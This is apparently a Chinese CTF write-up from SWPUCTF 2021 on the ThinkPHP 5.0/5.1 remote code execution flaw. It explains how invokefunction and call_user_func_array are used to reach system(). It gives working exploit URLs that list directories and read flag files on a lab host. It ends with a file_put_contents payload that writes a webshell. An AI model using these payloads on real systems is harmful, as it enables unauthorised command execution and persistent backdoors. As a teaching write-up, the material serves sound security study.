学习目标

  1. 理解 ThinkPHP V5-RCE 漏洞的利用和危害
  2. 理解函数 call_user_func_array 的用法
  3. 理解存在/flag/flag 嵌套时的处理办法

漏洞描述

ThinkPHP 官方 2018 年 12 月 9 日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的 getshell 漏洞,受影响的版本包括 5.0 和 5.1 版本。

程序未对控制器进行过滤,导致攻击者可以用 \(斜杠)调用任意类方法,像这样

1
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

其中 /index.php?s=index/think\app/invokefunction 是漏洞触发点

**ThinkPHP 的某些版本在解析 s 参数时,允许攻击者“调用”一个类的方法。**这里指定的是 think\app 类的 invokefunction 方法。框架本身不会正常调用这个方法,但通过漏洞可以强行访问。

&function=call_user_func_array

function 作为 invokefunction 方法的参数 指定了要执行的 PHP 核心函数。call_user_func_array 是 PHP 中用于动态调用函数的函数:call_user_func_array( 要调用的函数名 , 参数数组 )。所以这里的意思是:接下来我要通过 call_user_func_array 去调用另一个函数。

剩下两个参数就很简单了,就是 call_user_func_array 的正常用法

1
2
3
4
5
6
7
&vars[0]=system
vars 数组的第一个元素 vars[0],会被作为第一个参数传给 call_user_func_array。
也就是告诉 call_user_func_array:请帮我调用 system 这个函数。
&vars[1][]=ls /
vars 数组的第二个元素 vars[1],是一个数组 [ 'ls /' ]。
这个数组会被作为第二个参数传给 call_user_func_array,即作为 system 函数的参数列表。
最终相当于执行:system('ls /')。

漏洞利用(SWPUCTF 2021)

我们来到一个具有 thinkphpV5 漏洞的网站,它的特征也十分明显。

使用

1
http://node5.anna.nssctf.cn:25871/NSS/index.php/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20/

发现 flag

尝试获取 flag 却无果

1
http://node5.anna.nssctf.cn:25871/NSS/index.php/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/fl*

这里我们选择访问根目录下的 nss,因为可能是文件夹,我们先使用 ls

ls /nss

ls /nss/ctf

ls /nss/ctf/flag

cat /nss/ctf/flag/flag

很容易看得出,这题存在嵌套 flag,如果找不到怎么办呢?

可以用 find 命令

1
find / -name flag*

当然,这似乎增加了干扰

所以还可以这样

1
find / -type f -name "flag" -exec cat {} \;

就一把梭出来了

当然你说你写个 shell 行不行,应该也是没问题的,就自己尝试咯

1
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=(将php代码写入shell.php)

本次漏洞复现结束 🎆